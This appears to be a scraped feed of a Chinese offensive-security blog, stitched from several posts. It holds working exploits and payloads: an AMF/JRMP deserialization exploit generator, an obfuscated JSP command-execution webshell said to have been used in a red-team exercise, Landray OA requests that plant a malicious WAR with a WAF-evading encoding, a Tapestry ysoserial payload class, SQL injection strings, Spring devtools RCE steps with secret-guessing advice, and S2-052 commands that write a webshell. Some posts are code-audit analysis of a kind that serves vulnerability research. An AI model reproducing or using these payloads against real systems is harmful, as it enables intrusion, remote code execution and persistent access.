https://www.csdn.net/tags/Ntjacg4sNTk3NjgtYmxvZwO0O0OO0O0O.html
https://blog.css8.cn/post/5331323.html
https://bbs.sangfor.com.cn/forum.php?mod=viewthread&tid=88969
https://sec.lz520520.com/2019/10/280/

]]> 应急响应应急响应改造一个基于jrmp的AMF反序列化利用工具 /2022/06/01/85/

import flex.messaging.io.SerializationContext;
import flex.messaging.io.amf.*;

import java.io.*;

/**
 * @Author novy
 * @Date 2022/6/1 11:45
 * @Version 1.0
 */
public class AMF_JRMP {
    public static void main(String[] args) throws Exception {
        String text = "" +
                "\n" +
                " _______  __    __  .______     ______   \n" +
                "|   ____||  |  |  | |   _  \\   /  __  \\  \n" +
                "|  |__   |  |  |  | |  |_)  | |  |  |  | \n" +
                "|   __|  |  |  |  | |   ___/  |  |  |  | \n" +
                "|  |     |  `--'  | |  |      |  `--'  | \n" +
                "|__|      \\______/  | _|       \\______/  \n" +
                "by novy                                      \n\n";
        System.out.println(text);
        String help = "java -jar amfpoc.jar 0.0.0.0 1234";
        if (args.length==0){
            System.out.println("请输入完整的参数:java -jar amfpoc.jar 启动jrmp服务的ip 启动jrmp服务的端口\ne,g：\n\n"+help);
            System.exit(0);
        }
        if (args[0]==null){
            System.out.println("请输入已经启动jrmp服务的ip");
        }
        if (args[1]==null){
            System.out.println("请输入已经启动jrmp服务的端口");
        }
        Object object = generateUnicastRef(args[0], Integer.parseInt(args[1]));//jrmp启动地址、端口
        byte[] amf = serialize(object);

        //生成数据
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        out.write(amf);
        FileOutputStream fileOutputStream = new FileOutputStream( new File("out.amf"));
        out.writeTo(fileOutputStream) ;
        out.flush();
        System.out.println("在当前目录生成out.amf成功！");

    }
    public static Object generateUnicastRef(String host, int port) throws Exception {
        java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
        sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
        sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
        return new sun.rmi.server.UnicastRef(liveRef);
    }
    public static byte[] serialize(Object data) throws IOException {
        MessageBody body = new MessageBody();
        body.setData(data);
        ActionMessage message = new ActionMessage();
        message.addBody(body);
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        AmfMessageSerializer serializer = new AmfMessageSerializer();
        serializer.initialize(SerializationContext.getSerializationContext(), out, null);
        serializer.writeMessage(message);
        return out.toByteArray();
    }

    //用来验证
    public static ActionMessage deserialize(byte[] amf) throws ClassNotFoundException, IOException {
        ByteArrayInputStream in = new ByteArrayInputStream(amf);
        AmfMessageDeserializer deserializer = new AmfMessageDeserializer();
        deserializer.initialize(SerializationContext.getSerializationContext(), in, null);
        ActionMessage actionMessage = new ActionMessage();
        deserializer.readMessage(actionMessage, new ActionContext());
        return actionMessage;
    }
}

使用说明

只适用于出网的机器

将ysoserial放到服务器/vps中，先启动一个jrmp，利用链根据实际情况改

1	`java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1234 CommonsBeanutils1 calc`

然后本地运行这个AMFpoc_JRMP.jar

1	`java -jar AMFpoc_JRMP.jar 起服务的ip 起服务的端口`

比如这样

1	`java -jar AMFpoc_JRMP.jar 127.0.0.1 1234`

他会生成一个out.amf,使用burp右键选择pasted from file，选这个out.amf发送就可以触发

]]> 工具利用工具利用整合一个jsp webshell /2022/06/01/83/ 根据pmiaowu大佬的Java小trick之在懵逼中为Random跪下整合的jsp webshell

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.*" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.commons.io.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>

<%!
    /**
     *
     * @param i 随机参数
     * @return
     */
    public static String seedConversionString(long i) {
        Random ran = new Random(i);
        StringBuilder sb = new StringBuilder();
        while (true) {
            int k = ran.nextInt(96);
            if (k == 0) {
                break;
            }
            sb.append((char) (31 + k));
        }
        return sb.toString();
    }

    public static String seedListConversionString(long[] is) {
        StringBuilder dataSource = new StringBuilder();
        for (long seed : is) {
            dataSource.append(seedConversionString(seed));
        }
        return dataSource.toString();
    }


%>
<%
    String str = request.getParameter("str");

    long[] seedList = {-2080435608, -2060785532, -2147149194,
        -2107467938, -1949527326, -2146859157};
    String random = seedListConversionString(seedList);
    Class randomClass = Class.forName(random);
    Constructor randomConstructor =
        randomClass.getDeclaredConstructor();
    randomConstructor.setAccessible(true);
    Object randomInstance = randomConstructor.newInstance();

    long[] seedList2 = {-2146857803,-2145923417};
    String random2 = seedListConversionString(seedList2);
    Method randmoMethod = randomClass.getMethod(random2,
        String.class);
    Process p = (Process) randmoMethod.invoke(randomInstance,
        str);
    InputStream results = p.getInputStream();
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    byte[] b = new byte[1024];
    int a = -1;

    while ((a = results.read(b)) != -1) {
        baos.write(b, 0, a);
    }

    out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>

马儿首次用于zj省hw，效果甚好

]]> 渗透测试渗透测试利用tomcat自动部署机制getshell /2022/06/01/82/ 当目标检测<%，写不了jsp马或者不出网弹不了shell，或者写了shell但是因为目录要权限登录而用不了时可以尝试考虑以下方法

上图场景模仿自蓝凌oa的代码执行，poc：

import java.lang.*;import java.io.*;Class cls=Thread.currentThread().getContextClassLoader().loadClass("bsh.Interpreter");String path=cls.getProtectionDomain().getCodeSource().getLocation().getPath();File f=new File(path.split("WEB-INF")[0]+"../loginx.jsp");f.createNewFile();FileOutputStream fout=new FileOutputStream(f);fout.write(new sun.misc.BASE64Decoder().decodeBuffer("base64内容"));fout.close;

demo演示：

因为poc是将二进制数据写入到文件里，而war包正好是二进制数据，可以利用写进war包来绕过标签的限制达到获取权限的目的

准备好一个恶意war包，并将war包编码成base64
cat exploit.war | base64 > 1.txt

发送请求将数据写入到war中

其中str参数是war包的base64编码

tomcat扫描到目录下的状态变化，开始更新，aaaa.war被释放

访问被释放的恶意war

对应的实战场景

将本地生成好的数据写到目标目录下的war包中

import+java.lang.*;import+java.io.*;Class+cls=Thread.currentThread().getContextClassLoader().loadClass("bsh.Interpreter");String+path=cls.getProtectionDomain().getCodeSource().getLocation().getPath();File+f=new+File(path.split("WEB-INF")[0]+"../evilWar.war");//这里写war项目f.createNewFile();FileOutputStream+fout=new+FileOutputStream(f);fout.write(new+sun.misc.BASE64Decoder().decodeBuffer("base64编码后的恶意的war包"));fout.close;

发送完整poc：

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_241
Host: 0.0.0.0
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 

var={"body":{"file":"/sys/common/dataxml.jsp"}}&s_bean=sysFormulaValidate&script=import+java.lang.*;import+java.io.*;Class+cls=Thread.currentThread().getContextClassLoader().loadClass("bsh.Interpreter");String+path=cls.getProtectionDomain().getCodeSource().getLocation().getPath();File+f=new+File(path.split("WEB-INF")[0]+"../evilWar.war");//这里写war项目f.createNewFile();FileOutputStream+fout=new+FileOutputStream(f);fout.write(new+sun.misc.BASE64Decoder().decodeBuffer("base64编码后的恶意的war包"));fout.close;&type=int&modelName=test

如果waf拦截，可以将代码转为unicode

import java.lang.*;import java.io.*;Class cls=Thread.currentThread().getContextClassLoader().loadClass("bsh.Interpreter");String path=cls.getProtectionDomain().getCodeSource().getLocation().getPath();File f=new File(path.split("WEB-INF")[0]+"../yourproject.war");f.createNewFile();FileOutputStream fout=new FileOutputStream(f);fout.write(new sun.misc.BASE64Decoder().decodeBuffer

发送完整poc：

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_241
Host: 0.0.0.0
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 6044

var={"body":{"file":"/sys/common/dataxml.jsp"}}&s_bean=sysFormulaValidate&script=%5cu0069%5cu006d%5cu0070%5cu006f%5cu0072%5cu0074%5cu0020%5cu006a%5cu0061%5cu0076%5cu0061%5cu002e%5cu006c%5cu0061%5cu006e%5cu0067%5cu002e%5cu002a%5cu003b%5cu0069%5cu006d%5cu0070%5cu006f%5cu0072%5cu0074%5cu0020%5cu006a%5cu0061%5cu0076%5cu0061%5cu002e%5cu0069%5cu006f%5cu002e%5cu002a%5cu003b%5cu0043%5cu006c%5cu0061%5cu0073%5cu0073%5cu0020%5cu0063%5cu006c%5cu0073%5cu003d%5cu0054%5cu0068%5cu0072%5cu0065%5cu0061%5cu0064%5cu002e%5cu0063%5cu0075%5cu0072%5cu0072%5cu0065%5cu006e%5cu0074%5cu0054%5cu0068%5cu0072%5cu0065%5cu0061%5cu0064%5cu0028%5cu0029%5cu002e%5cu0067%5cu0065%5cu0074%5cu0043%5cu006f%5cu006e%5cu0074%5cu0065%5cu0078%5cu0074%5cu0043%5cu006c%5cu0061%5cu0073%5cu0073%5cu004c%5cu006f%5cu0061%5cu0064%5cu0065%5cu0072%5cu0028%5cu0029%5cu002e%5cu006c%5cu006f%5cu0061%5cu0064%5cu0043%5cu006c%5cu0061%5cu0073%5cu0073%5cu0028%5cu0022%5cu0062%5cu0073%5cu0068%5cu002e%5cu0049%5cu006e%5cu0074%5cu0065%5cu0072%5cu0070%5cu0072%5cu0065%5cu0074%5cu0065%5cu0072%5cu0022%5cu0029%5cu003b%5cu0053%5cu0074%5cu0072%5cu0069%5cu006e%5cu0067%5cu0020%5cu0070%5cu0061%5cu0074%5cu0068%5cu003d%5cu0063%5cu006c%5cu0073%5cu002e%5cu0067%5cu0065%5cu0074%5cu0050%5cu0072%5cu006f%5cu0074%5cu0065%5cu0063%5cu0074%5cu0069%5cu006f%5cu006e%5cu0044%5cu006f%5cu006d%5cu0061%5cu0069%5cu006e%5cu0028%5cu0029%5cu002e%5cu0067%5cu0065%5cu0074%5cu0043%5cu006f%5cu0064%5cu0065%5cu0053%5cu006f%5cu0075%5cu0072%5cu0063%5cu0065%5cu0028%5cu0029%5cu002e%5cu0067%5cu0065%5cu0074%5cu004c%5cu006f%5cu0063%5cu0061%5cu0074%5cu0069%5cu006f%5cu006e%5cu0028%5cu0029%5cu002e%5cu0067%5cu0065%5cu0074%5cu0050%5cu0061%5cu0074%5cu0068%5cu0028%5cu0029%5cu003b%5cu0046%5cu0069%5cu006c%5cu0065%5cu0020%5cu0066%5cu003d%5cu006e%5cu0065%5cu0077%5cu0020%5cu0046%5cu0069%5cu006c%5cu0065%5cu0028%5cu0070%5cu0061%5cu0074%5cu0068%5cu002e%5cu0073%5cu0070%5cu006c%5cu0069%5cu0074%5cu0028%5cu0022%5cu0057%5cu0045%5cu0042%5cu002d%5cu0049%5cu004e%5cu0046%5cu0022%5cu0029%5cu005b%5cu0030%5cu005d%5cu002b%5cu0022%5cu002e%5cu002e%5cu002f%5cu0079%5cu006f%5cu0075%5cu0072%5cu0070%5cu0072%5cu006f%5cu006a%5cu0065%5cu0063%5cu0074%5cu002e%5cu0077%5cu0061%5cu0072%5cu0022%5cu0029%5cu003b%5cu0066%5cu002e%5cu0063%5cu0072%5cu0065%5cu0061%5cu0074%5cu0065%5cu004e%5cu0065%5cu0077%5cu0046%5cu0069%5cu006c%5cu0065%5cu0028%5cu0029%5cu003b%5cu0046%5cu0069%5cu006c%5cu0065%5cu004f%5cu0075%5cu0074%5cu0070%5cu0075%5cu0074%5cu0053%5cu0074%5cu0072%5cu0065%5cu0061%5cu006d%5cu0020%5cu0066%5cu006f%5cu0075%5cu0074%5cu003d%5cu006e%5cu0065%5cu0077%5cu0020%5cu0046%5cu0069%5cu006c%5cu0065%5cu004f%5cu0075%5cu0074%5cu0070%5cu0075%5cu0074%5cu0053%5cu0074%5cu0072%5cu0065%5cu0061%5cu006d%5cu0028%5cu0066%5cu0029%5cu003b%5cu0066%5cu006f%5cu0075%5cu0074%5cu002e%5cu0077%5cu0072%5cu0069%5cu0074%5cu0065%5cu0028%5cu006e%5cu0065%5cu0077%5cu0020%5cu0073%5cu0075%5cu006e%5cu002e%5cu006d%5cu0069%5cu0073%5cu0063%5cu002e%5cu0042%5cu0041%5cu0053%5cu0045%5cu0036%5cu0034%5cu0044%5cu0065%5cu0063%5cu006f%5cu0064%5cu0065%5cu0072%5cu0028%5cu0029%5cu002e%5cu0064%5cu0065%5cu0063%5cu006f%5cu0064%5cu0065%5cu0042%5cu0075%5cu0066%5cu0066%5cu0065%5cu0072("base64后的war包"));fout.close();&type=int&modelName=test

如果还不行就把base64再unicode编码一次，看各位大佬的发挥，这里因为就tomcat会自动部署war包的事做一次思路记录

]]> 渗透测试渗透测试 tapestry反序列化 CVE-2021-27850分析 /2022/05/31/81/ 漏洞最早可以追溯到<5.3.6版本的tapestry

触发点在FROM类，该类专门用于处理表单

tapestry-core/src/main/java/org/apache/tapestry5/corelib/components/Form.java

首先有两个注意的地方

第一个地方：

表单在点击按钮后会出现一个值为t:submit的name属性，待会会有针对这个的判断

第二个地方：

将断点打在onAction方法查看事件处理流程

走到if (this.isFormCancelled()) ，根据返回的布尔类型来进入相应的处理

走到this.executeStoredActions();在该方法中会获取t:fromdata的值来进行处理

跟进decodeClientData

tapestry-core/src/main/java/org/apache/tapestry5/internal/services/ClientDataEncoderImpl.java

最后进行反序列化，漏洞触发

官方在5.3.6及以后（5.4.0-5.6.1，5.7.0）的版本中并没有针对readObject进行修复，而是增加了HMAC，用途是对序列化的数据进行加密，Tapestry的所有序列化数据传输都需要使用HMAC Key进行加密，具体见

https://tapestry.apache.org/security.html

官方原本想的是通过校验签名来防止数据被篡改，然而即使使用HmacSHA1算法加密也不能保证反序列化不被利用，这时候就要说到Tapestry 的另一个漏洞：Tapestry 任意文件下载(CVE-2019-0195)，详见https://www.modb.pro/db/113860，可以通过搭配文件下载下载包含有硬编码密钥的class来利用反序列化漏洞，原理类似于shiro的rememberMe反序列化

继续看看加了加密机制后的tapestry，这里用的是5.4.0

直接看到decodeClientData方法

在decodeClientData方法中处理t:formdata的值

取得clientStream后进行base64解码

在经过validateHMAC方法校验签名无误后，把base64解码后的clientStream再进行一次gzip解码，随后将解码后的clientStream封装成对象输入流

再进行反序列化操作，漏洞产生

可以看到在decodeClientData方法中加了对t:fromdata内容的处理，且加了一个ois.readBoolean()

在validateHMAC方法中，this.hmackey即包含有HmacSHA1加密算法的SecretKeySpaec对象

tapestry-core/src/main/java/org/apache/tapestry5/internal/services/ClientDataEncoderImpl.java

passphrase来自@Symbol

HMAC_PASSPHRASE即加密密钥

总结其编码模式：

Text

总结其编码模式：

<5.3.6版本：Gzip->base64

=>5.3.6版本：Gzip->Hmacsha1->base64

根据网上的文章改造一下能用的，在ysoserial中引用一下5.3.6版本的Tapestry依赖，在payload目录中新建一个TapestryrcePOC 类，使用CommonsCollections6来触发漏洞

Text

package ysoserial.payloads;

/**
 * @Author:novy
 * @Date:10:40 2022/4/23
 * @Version 1.0
 * 参数输入格式：密钥 命令
 **/
import org.apache.tapestry5.internal.services.ClientDataEncoderImpl;
import org.apache.tapestry5.internal.services.URLEncoderImpl;
import org.apache.tapestry5.services.ClientDataEncoder;
import org.apache.tapestry5.services.ClientDataSink;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.templates.TomcatFilterMemShellFromJMX;
import ysoserial.payloads.util.PayloadRunner;

import java.io.ObjectOutputStream;

@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org:tapestry:5.4.0 to 5.6.1 cc6,please add hmac key and command,eg:12345 calc"})
public class TapestryrcePOC extends PayloadRunner implements ObjectPayload<Object> {
    public static void main(final String[] args) throws Exception {
        String s = (String) new TapestryrcePOC().getObject(CommonsCollections6.class.getName(), args); //这里根据情况改利用链
        System.out.println("payload:"+s);
    }
    public String getObject(String gadgetsName, boolean needBase64, String... args) throws Exception {
        String key, command = null;
        if (args.length == 0) {
            System.out.println("please add hmac key and command,eg:12345 calc");
        }
        if (args.length < 1) {
            System.out.println("please add hmac key");
        }
        if (args.length < 2) {
            System.out.println("please add command");
        }else{
            command = args[1];
        }
        //密钥
        key = args[0];
        Class clazz = Class.forName(gadgetsName);
        ObjectPayload gadgets = (ObjectPayload) clazz.newInstance();
        Object obj = gadgets.getObject(command);
        URLEncoderImpl urlEncoder = new URLEncoderImpl();
        ClientDataEncoder cde = new ClientDataEncoderImpl(urlEncoder, key, null, null, null);
        ClientDataSink cds = cde.createSink();
        ObjectOutputStream oos = cds.getObjectOutputStream();
        oos.writeUTF("wecat_iH");
        oos.writeBoolean(false);
        oos.writeObject(obj);
        return cds.getClientData();
    }
    @Override
    public Object getObject(String command) throws Exception {
        return getObject(command, null);
    }
    public Object getObject(String gadgetName, String... args) throws Exception {
        return getObject(gadgetName, true, args);
    }
}

生成payload后，可以直接将payload复制到表单请求

参考

https://www.imangodoc.com/23732.html

https://blog.csdn.net/wyswlp/article/details/6704545

https://blog.csdn.net/u012749355/article/details/38440613?locationNum=5&fps=1

https://tapestry.apache.org/security.html

https://www.modb.pro/db/113860

https://www.4hou.com/posts/ovEk

]]> 代码审计 java代码审计 flex反序列化原理及利用链构造 /2022/05/30/105/ WEB-INF\web.xml

MessageBrokerServlet类处理/messagebroker/*请求

在MessageBrokerServlet的service方法中，先将HttpServletRequest等对象存到FlexContext的变量ThreadLocalObjects中

随后根据endpointPath去获取对应的endpoint

而web.xml已经指定过配置文件

在配置文件中可以看到是由AMFEndpoint来处理/messagebroker/amf这个请求（endpointPath），即endpointPath的endpoint就是AMFEndpoint类

回到MessageBrokerServlet.class

在得到处理请求的类后就使用该类的service方法处理请求

在前面的代码中可以看到endpoint的对象类型是Endpoint，而Endpoint是一个接口，所以要找到该接口的实现类

所以实际就是BaseHTTPEndpoint的service方法来处理/amf请求

在service方法中，会交由filterChain.invoke处理上下文内容

filterChain：

createFilterChain是一个抽象方法

需要找到实现他的子类，即AMFEndpoint

跟进SerializationFilter类查看invoke方法

其会获取输入流封装到deserializer对象

具体可以看到getHttpRequest方法返回的内容就是之前存在threadLocalObject里的信息

initialize方法：

随后进入到readMessage处理上下文内容

在readMessage方法中，会执行三次readUnsignedShort方法分别获取version、headersCount和bodyCount

漏洞触发主要在bodyCount

走到readBody

进入到readObject方法

因为之前初始化的时候赋值过，所以这的amfIn就是Amf0Input对象，即这里的readObject其实是Amf0Input的readObject

跟进Amf0Input查看readObject方法，该方法会先读取传入的数据字节，然后根据不同的属性进入对应的方法进行处理

查看readObjectValue

已知type是amfIn.readUnsignedShort 获取得来，type是2字节，这里会首先读取1字节，当读取的值是17时（序列化时写入）就会再初始化一次avmPlusInput，并进入到readObject方法

在readObject方法中，再读取1字节

跟进readObjectValue方法，当读到的值是10时（序列化时写入）就会进入到readScriptObject方法

在readScriptObject方法中，会根据传入的类名返回一个对象

跟进getClassFromClassName查看具体实现

createClass方法会返回一个初始化的对象

然后会将对象传进getProxyAndRegister方法查找对应的属性代理，用于处理对象的属性读写，如果注册表中存在，则传进createDefaultInstance方法实例化对象

然而注册表里只有几个异常和Map对象

具体可以看getRegistry方法：

    private static boolean preregistered = false;

...

    public static PropertyProxyRegistry getRegistry() {
        if (!preregistered) {
            preRegister();
            preregistered = true;
        }

        return registry;
    }

    private static void preRegister() {
        ThrowableProxy proxy = new ThrowableProxy();
        registry.register(MessageException.class, proxy);
        registry.register(LocalizedException.class, proxy);
        registry.register(Throwable.class, proxy);
        MapProxy mapProxy = new MapProxy();
        registry.register(ASObject.class, mapProxy);
        registry.register(HashMap.class, mapProxy);
        registry.register(AbstractMap.class, mapProxy);
        registry.register(Map.class, mapProxy);
    }

所以流程会将对象传入createDefaultInstance方法进行实例化

查看createDefaultInstance可以看到返回了一个实例化对象

在获得一个实例化对象后，会判断该对象是否实现了Externalizable接口，如果实现了则进入readExternalizable方法，在该方法里使用readExternal方法进行反序列化，漏洞在此触发

按照流程，想要利用这一步的反序列化，需要找一个实现了Externalizable接口且有公共无参构造函数的利用链，比如sun.rmi.server.UnicastRef

改一下ysoserial的JRMPClient即可得到一个POC：

import flex.messaging.io.SerializationContext;
import flex.messaging.io.amf.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
 
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
 
/**
 * @Author:novy
 * @Date:13:44 2022/5/30
 * @Version 1.0
 **/
public class AMFEXPLoit {
    public static void main(String[] args) throws Exception {
        Object object = GetObject("192.168.31.169",1234);//JRMP启动地址、端口
 
        // 序列化对象，生成AMF Message对象
        byte[] amf = serialize(object);
        System.out.println("序列化：" + amf);
 
        // 反序列化对象
        ActionMessage actionMessage = deserialize(amf);
        System.out.println("反序列化：" + actionMessage);
    }
    public static Object GetObject(String host,int port) throws Exception {
         ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        return ref;
    }
    public static byte[] serialize(Object data) throws IOException {
        MessageBody body = new MessageBody();
        body.setData(data);
        ActionMessage message = new ActionMessage();
        message.addBody(body);
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        AmfMessageSerializer serializer = new AmfMessageSerializer();
        serializer.initialize(SerializationContext.getSerializationContext(), out, null);
        serializer.writeMessage(message);
        return out.toByteArray();
    }
 
    public static ActionMessage deserialize(byte[] amf) throws ClassNotFoundException, IOException {
        ByteArrayInputStream in = new ByteArrayInputStream(amf);
        AmfMessageDeserializer deserializer = new AmfMessageDeserializer();
        deserializer.initialize(SerializationContext.getSerializationContext(), in, null);
        ActionMessage actionMessage = new ActionMessage();
        deserializer.readMessage(actionMessage, new ActionContext());
        return actionMessage;
    }
}

服务器启动JRMP，运行POC

1	`java -cp ysoserial-1.0.jar ysoserial.exploit.JRMPListener 1234 ROME "calc"`

当然这只是基于实现了Externalizable接口的反序列化利用，在判断即使没有实现Externalizable，流程依旧会往下走其他反序列化逻辑，也就是说，哪怕没有实现Externalizable接口，也可以找实现了Serializable 接口的链来进行利用，当然还是需要有公共无参构造方法

最后

写了个利用工具
https://github.com/novysodope/AMF_JRMP

不出网参考
https://github.com/codewhitesec/ColdFusionPwn
ColdFusionPwn直接下载他的发布版本使用会提示找不到主类，建议下载源码用idea运行，参数直接[-s|-e] [payload type] '[command]' [outfile]

Tips

在往后的审计中，如果看到有引用

<dependency>
<groupId>org.apache.flex.blazeds</groupId>
<artifactId>flex-messaging-core</artifactId>
<version>4.7.2</version>
</dependency>

或者jar包中用到这种的

基本可以确定存在flex相关漏洞

]]> 代码审计代码审计 luckyframeweb3.5 sql inject 3 /2022/05/11/80/ src/main/resources/mybatis/system/UserMapper.xml

There is a ${} in this mapper

Search selectUserList to see where the this select id is used：

UserController.java

Query user information：

Follow up the selectUserList method to see the specific implementation：

UserServiceImpl.java

The parameters in the User are passed into the mapper for SQL operation. Because the datascope is controllable, the vulnerability is generated

Verification:

Splice URL and parameters according to code:

1
2
3


http://127.0.0.1/system/user/list
params[dataScope]=

Use error injection to query the database version：

1 2	`params[dataScope]=and+extractvalue(1,concat(0x7e,substring((select+version()),1,32),0x7e))`

Select database name:

]]> 代码审计 java代码审计 luckyframeweb3.5 sql inject 2 /2022/05/11/79/ src/main/resources/mybatis/system/DeptMapper.xml

There is a ${} in this mapper

Search selectDeptList to see where the this select id is used：

/DeptController.java

Query dept information：

Follow up the selectDeptList method to see the specific implementation：

/DeptServiceImpl.java

The parameters in the Dept are passed into the mapper for SQL operation. Because the datascope is controllable, the vulnerability is generated

Verification:

Splice URL and parameters according to code:

1
2
3


http://127.0.0.1/system/dept/list?params[dataScope]=

Use error injection to query the database version：

1 2	`params[dataScope]=and+extractvalue(1,concat(0x7e,substring((select+version()),1,32),0x7e))`

Select database name:

]]> 代码审计 java代码审计 luckyframeweb3.5 sql inject 1 /2022/05/11/78/ src/main/resources/mybatis/system/RoleMapper.xml

There is a ${} in this mapper

Search selectrolelist to see where the this select id is used：

src/main/java/com/luckyframe/project/system/role/controller/RoleController.java

Query role information：

Follow up the selectrolelist method to see the specific implementation：

src/main/java/com/luckyframe/project/system/role/service/RoleServiceImpl.java

The parameters in the role are passed into the mapper for SQL operation. Because the datascope is controllable, the vulnerability is generated

Verification:

Splice URL and parameters according to code:


http://127.0.0.1/system/role/list

params[dataScope]

Use error injection to query the database version：

1 2	`params[dataScope]=and+extractvalue(1,concat(0x7e,substring((select+version()),1,32),0x7e))`

Select database name:

]]> 代码审计 java代码审计 Springboot devtools <=2.6.4 rce /2022/05/11/77/ Devtools is a hot deployment tool of spring boot. It can automatically load projects without manually restarting the spring boot application. During the development process, if we modify some java files, we may need to restart the project to view the modified results. If spring boot devtools is used, devtools will automatically restart the server for you when there are file changes in the classpath (Baidu.com’s introduction, in fact, you can customize the path according to your own situation).

First, look at the configuration information of devtools:

Because all automatic configurations of springboot are performed by xxxautoconfiguration, it is known that:

jetbrains://idea/navigate/reference?project=spring-boot-demo&path=~\.m2\repository\org\springframework\boot\spring-boot-devtools\2.6.4\spring-boot-devtools-2.6.4.jar!\org\springframework\boot\devtools\autoconfigure\RemoteDevToolsAutoConfiguration.class

is the automatic configuration class of devtools

This is for spring devtools. remote. Implementation of secret configuration.

View the process, first pass the values of secretheadername and ‘secret’ into the httpheaderaccessmanager class for processing:

Follow up httpheaderaccessmanager class:

In this class, a parameter HeaderName in the request header will be obtained for comparison. If the value of HeaderName is inconsistent with expectedsecret, 403 will be reported:

return RemoteDevToolsAutoConfiguration

Follow up DevToolsPropertiesclass see SecretHeaderName、Secret:

Follow up RemoteDevToolsProperties，in the getsecretheadername method,x-auth-token is returned, that is, the HTTP header has an x-auth-token header.

the x-auth-token value

getsecret is obtained from the configuration file:

Returning to remotedevtoolsaccessmanager, the httpheaderaccessmanager object returns the verification result of x-auth-token: Secret.

Continue to see vulnerabilities trigger key locations.

This part belongs to the remoterestartconfiguration static class, which is the devtools configuration implementation class:

View the remoterestarthandlermapper method

First, see to properties.getRemote(),follow up the devtoolsproperties class:

The getremote method returns the remotedevtoolsproperties object

Follow up remotedevtoolsproperties object
This class returns various corresponding property values:

The getcontextpath method returns the URL in the remoterestarthandlermapper method:

The URL is /~~ spring-boot!~/ restart.
Then continue to watch httprestartserverhandler

Follow up HttpRestartServer class:

In this class’s Handle method, obtain the request encapsulated as ObjectInputStream object, and then use ObjectInputStream’s ReadObject method,since the request is controllable, the vulnerability is formed.

Verify it：

Construct the request based on the analysis:

Text

1
2
3

POST /.~~spring-boot!~/restart 
HOST: 127.0.0.1
X-AUTH-TOKEN: The value here is the user-defined password in the configuration file. According to the use tutorial of devtools, it is found that most of them are mysecret and secret(default password, weak password). If you don't know the password, you can use script to guess the password. According to the previous analysis, if the password is wrong, it will report 403.  If the password is right, you will report an error when entering deserialization, so it will be prompted 500. You can guess the password according to these two mistakes.

Dependency:

Text

<dependency>
 <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-devtools</artifactId>
    <scope>runtime</scope>
    <optional>true</optional>
</dependency>

idea will import 2.6.4

Enable remote hot deployment in normal configuration
application.yml configuration：

Text

spring:
  devtools:
    restart:
      enabled: false  #Set hot deployment
      additional-paths: src/main/java #Restart directory
      exclude: WEB-INF/**
    remote:
      secret: mysecret

pom.xml configuration：：

Text

 <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
                <configuration>
<!-- Set to include devtools when packaging the project. If set to true, devtools -- > will not be enabled after packaging the project-->
                    <excludeDevtools>false</excludeDevtools>
                </configuration>
            </plugin>

There will be a prompt after the project is started

use python writes a PoC to send data

Send the serialized malicious data to the target to trigger:

I found the vulnerability and contacted the spring, but the spring thought they explained the problem in the document, and suggested that the developer change <excludedevtools> false </excludedevtools> to true before releasing the formal environment, so that the production environment will not enable devtools, so it is not a vulnerability.

But I still think this is a risk. I suggest rewriting resolveclass and setting a deserialized object type of white list to avoid malicious deserialization.

]]> 代码审计 java代码审计某报表微服务jdbc反序列化 /2022/05/09/98/

1	`ConfigController.class`

saveDBInfo方法中有一个文件配置，将参数传进saveConfig进行处理

参数表现为

在saveConfig方法中，会对配置做一次测试连接

1	`ReportServiceUtil.class`

而该应用默认带有一个含有漏洞版本的mysqlDriver

由于数据源地址可控导致可以利用mysql jdbc反序列化漏洞进行攻击

验证：

使用MySQL_Fake_Server工具启动一个服务

利用依赖中的cb链执行命令

]]> 代码审计代码审计 s2-052 /2022/02/08/75/ 网上的都是那种弹计算器或者反弹shell的例子，实际环境中很多不出网的机器，所小小研究了一下

首先要知道<command>里的每个<string>标签都表示一个参数字符，比如打开calc：

1
2
3

<command>
<string>calc</string>
</command>

加上cmd /c来转成shell命令：

 <command>
 <string>cmd</string>
<string>/c</string>
<string>calc</string>
 </command>

利用echo来写入一个webshell

<command>
<string>cmd</string>
<string>/c</string>
<string>echo 123 >../webapps/ROOT/12.jsp</string>
</command>

